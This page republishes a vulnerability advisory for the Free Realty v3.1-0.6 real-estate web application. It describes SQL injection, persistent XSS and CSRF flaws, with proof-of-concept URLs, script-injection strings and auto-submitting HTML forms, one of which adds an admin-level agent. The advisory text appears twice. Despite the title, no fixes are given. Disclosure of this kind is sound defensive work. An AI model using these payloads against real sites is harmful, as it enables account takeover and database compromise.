Free Realty v3.1-0.6的缺陷介绍及其修复方法
发布时间：2012-05-14 12:16:06 作者：佚名 
我要评论
我要评论Free Realty v3.1-0.6的缺陷介绍及其修复方法，请看下面
标题：Free Reality v3.1-0.6 - Multiple Web Vulnerabilities
介绍:
=============
Free Realty is primarily designed for real estate agents and offices to list properties on the internet. With Free Realty the end
user does not need to be fluent in web page design. Read more in the demo site
This is a fork of
software written by Jon Roig called Open Realty. Jon has moved on to version 3.0 while a number of users have requested
continued development on the 2.x series. Other sites of note regarding 2.x development
www.1axn.com/gi-bin/openforum/ikonboard.cgi the original discussion board, before Jon opened up his own.
影响版本:
=========
A Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in the Free Reality v3.1-0.6 web application.
问题类型:Remote
技术分析:
========
1.1
A remote SQL Injection vulnerability is detected in the Free Reality v3.1-0.6 web application.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on
the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
Vulnerable Module(s):
[+] agentdisplay.php?view=
[+] /admin/admin.php?edit=
1.2
Multiple persistent input validation vulnerabilities are detected in the Free Reality v3.1-0.6 web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
Exploitation requires low user inter action.
Vulnerable Module(s):
[+] admin/agenteditor.php - inject notes about the Agent
[+] agentadmin.php?edit=2 - inject title / preview description: / Long description: / notes
[+] agentadmin.php?action=addlisting inject title / preview description: / Long description: / notes
[+] admin/adminfeatures.php - Add new feature
1.3
A cross site request forgery vulnerability is detected in in the Free Reality v3.1-0.6 web application. The bugs allow remote
attackers with high required user inter action to edit user accounts. Successful exploitation can lead to account access.
To exploit the issue the attacker need to create a manipulated copy the edit user mask/form. Inside of the document the
remote can implement his own values for the update because of no form or token protection. When admin get now forced to
execute the script via link he is executing the new value on the update of the application if his session is not expired.
Vulnerable Module(s):
[+] admin/agenteditor.php?action=addagent - Add agent
[+] admin/agenteditor.php?adminmodify=2 - Modify Agent
测试证明:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...
PoC:
https://www.jb51.net /FR/agentdisplay.php?view=1[SQL-INJECTION!]
http://127.0.0.1/FR/admin/admin.php?edit=2[SQL-INJECTION!]
1.2
The persistent input validation vulnerability can be exploited by remote attackers with medium till low required user inter action.
For demonstration or reproduce ...
Note:
The issue can be exploited by an insert on the Created Object function with script code as value.
The result is the persistent execution out of the web application context.
Strings:
>"<<iframe src=http:// www.jb51.net />37</iframe> ... or
>"<script>alert(document.cookie)</script><div style="1
1.3
The csrf vulnerability can be exploited by remote attackers with high required user inter action. For demonstration or reproduce ...
<html>
<form name="test" action="http://127.0.0.1/FR/admin/agenteditor.php?adminmodify=2" method="post">
<input type="hidden" name="agent" value="test2"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="storm"><br/>
</form>
<script>document.test.submit();</script>
</html>
<html>
<form name="addagent" action="http://127.0.1.1/FR/admin/agenteditor.php?action=addagent" method="post">
<input type="hidden" name="agent" value="test3"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="test3"><br/>
<input type="hidden" name="agentfax" value="test3"><br/>
<input type="hidden" name="agentcell" value="test3"><br/>
<input type="hidden" name="agentphone" value="test3"><br/>
<input type="hidden" name="agenturl" value="test3"><br/>
<input type="hidden" name="agentemail=" value="test3@hotmail.com"><br/>
<input type="hidden" name="user_level" value="admin"><br/>
<input type="hidden" name="notes" value="TEST#"><br/>
</form>
<script>document.addagent.submit();</script>
</html>
Risk:
=====
1.1
The security risk of the remote SQL injection vulnerability is estimated as critical.
1.2
The security risk of the persistent input validation vulnerability is estimated as medium.
1.3
The security risk of the cross site request forgery vulnerability is estimated as low(+).
介绍:
=============
Free Realty is primarily designed for real estate agents and offices to list properties on the internet. With Free Realty the end
user does not need to be fluent in web page design. Read more in the demo site
This is a fork of
software written by Jon Roig called Open Realty. Jon has moved on to version 3.0 while a number of users have requested
continued development on the 2.x series. Other sites of note regarding 2.x development
www.1axn.com/gi-bin/openforum/ikonboard.cgi the original discussion board, before Jon opened up his own.
影响版本:
=========
A Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in the Free Reality v3.1-0.6 web application.
问题类型:Remote
技术分析:
========
1.1
A remote SQL Injection vulnerability is detected in the Free Reality v3.1-0.6 web application.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on
the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
Vulnerable Module(s):
[+] agentdisplay.php?view=
[+] /admin/admin.php?edit=
1.2
Multiple persistent input validation vulnerabilities are detected in the Free Reality v3.1-0.6 web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
Exploitation requires low user inter action.
Vulnerable Module(s):
[+] admin/agenteditor.php - inject notes about the Agent
[+] agentadmin.php?edit=2 - inject title / preview description: / Long description: / notes
[+] agentadmin.php?action=addlisting inject title / preview description: / Long description: / notes
[+] admin/adminfeatures.php - Add new feature
1.3
A cross site request forgery vulnerability is detected in in the Free Reality v3.1-0.6 web application. The bugs allow remote
attackers with high required user inter action to edit user accounts. Successful exploitation can lead to account access.
To exploit the issue the attacker need to create a manipulated copy the edit user mask/form. Inside of the document the
remote can implement his own values for the update because of no form or token protection. When admin get now forced to
execute the script via link he is executing the new value on the update of the application if his session is not expired.
Vulnerable Module(s):
[+] admin/agenteditor.php?action=addagent - Add agent
[+] admin/agenteditor.php?adminmodify=2 - Modify Agent
测试证明:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...
PoC:
https://www.jb51.net /FR/agentdisplay.php?view=1[SQL-INJECTION!]
http://127.0.0.1/FR/admin/admin.php?edit=2[SQL-INJECTION!]
1.2
The persistent input validation vulnerability can be exploited by remote attackers with medium till low required user inter action.
For demonstration or reproduce ...
Note:
The issue can be exploited by an insert on the Created Object function with script code as value.
The result is the persistent execution out of the web application context.
Strings:
>"<<iframe src=http:// www.jb51.net />37</iframe> ... or
>"<script>alert(document.cookie)</script><div style="1
1.3
The csrf vulnerability can be exploited by remote attackers with high required user inter action. For demonstration or reproduce ...
<html>
<form name="test" action="http://127.0.0.1/FR/admin/agenteditor.php?adminmodify=2" method="post">
<input type="hidden" name="agent" value="test2"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="storm"><br/>
</form>
<script>document.test.submit();</script>
</html>
<html>
<form name="addagent" action="http://127.0.1.1/FR/admin/agenteditor.php?action=addagent" method="post">
<input type="hidden" name="agent" value="test3"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="test3"><br/>
<input type="hidden" name="agentfax" value="test3"><br/>
<input type="hidden" name="agentcell" value="test3"><br/>
<input type="hidden" name="agentphone" value="test3"><br/>
<input type="hidden" name="agenturl" value="test3"><br/>
<input type="hidden" name="agentemail=" value="test3@hotmail.com"><br/>
<input type="hidden" name="user_level" value="admin"><br/>
<input type="hidden" name="notes" value="TEST#"><br/>
</form>
<script>document.addagent.submit();</script>
</html>
Risk:
=====
1.1
The security risk of the remote SQL injection vulnerability is estimated as critical.
1.2
The security risk of the persistent input validation vulnerability is estimated as medium.
1.3
The security risk of the cross site request forgery vulnerability is estimated as low(+).
相关文章
- 很多游戏服务器租用的时候会出现一些封UDP的字眼，网上一些文章也说UDP协议不可靠！为什么要封UDP呢？既然不可靠，为什么有些人还要使用它呢？今天与你们分享一下UDP，希望2024-05-07
- 魔兽世界服务器被攻击在目前来说也是比较常见的，同行竞争激烈，在官服开放时也遇到过DDOS攻击，要是飞飞没记错是在22年9月14日，从刚开始的身份验证服务器出现问题，到确2023-07-17
- 这篇文章主要分享一下五大免费企业网络入侵检测（IDS）工具，当前企业对于网络安全越来越重视，那么后期可能就需要大家多多关注一些安全工具的使用于检测2019-12-01
网络协议是什么呢？网络协议是网络中计算机或设备之间进行通信的一系列规则集合。本文中小编介绍的是网络协议和安全威胁的关系，需要的朋友不妨阅读本文了解一下2019-04-02
DDoS攻击是由DoS攻击转化的，这项攻击的原理以及表现形式是怎样的呢？要如何的进行防御呢？本文中将会有详细的介绍，需要的朋友不妨阅读本文进行参考2019-01-15
本文中介绍的是基于Web攻击的方式发现并攻击物联网设备，感兴趣的朋友不妨阅读本文进行了解2019-01-11
起首说说挟制路由器是什么意思，路由器挟制平日指的是，开启了无线网络功效的无线路由器，攻击者经由过程破解无线暗码衔接上无线网后，再登录路由治理界面来节制全部无线网2018-05-16
大势至共享文件监控软件、共享文件权限管理软件主控端与客户端的连接设
这篇文章主要介绍了大势至共享文件监控软件、共享文件权限管理软件主控端与客户端的连接设置方法详解，，小编觉得还是挺不错的，具有一定借鉴价值，下面就来和小编一起看看2018-01-25
详细介绍sd卡加密软件的选择以及给sd卡设置密码、给sd卡加密
这篇文章主要介绍了详细介绍sd卡加密软件的选择以及给sd卡设置密码、给sd卡加密，如何保护sd卡文件的安全，如何给SD卡设置密码、如何给SD卡加密，下面就跟小编一起来看看吧2018-01-19
server2008共享设置、服务器共享文件设置、服务器设置共享文件夹的方法
这篇文章主要介绍了server2008共享设置、服务器共享文件设置、服务器设置共享文件夹的方法详细介绍，保护服务器共享文件设置访问权限，让每个部门只访问自己的共享文件等，2018-01-19
最新评论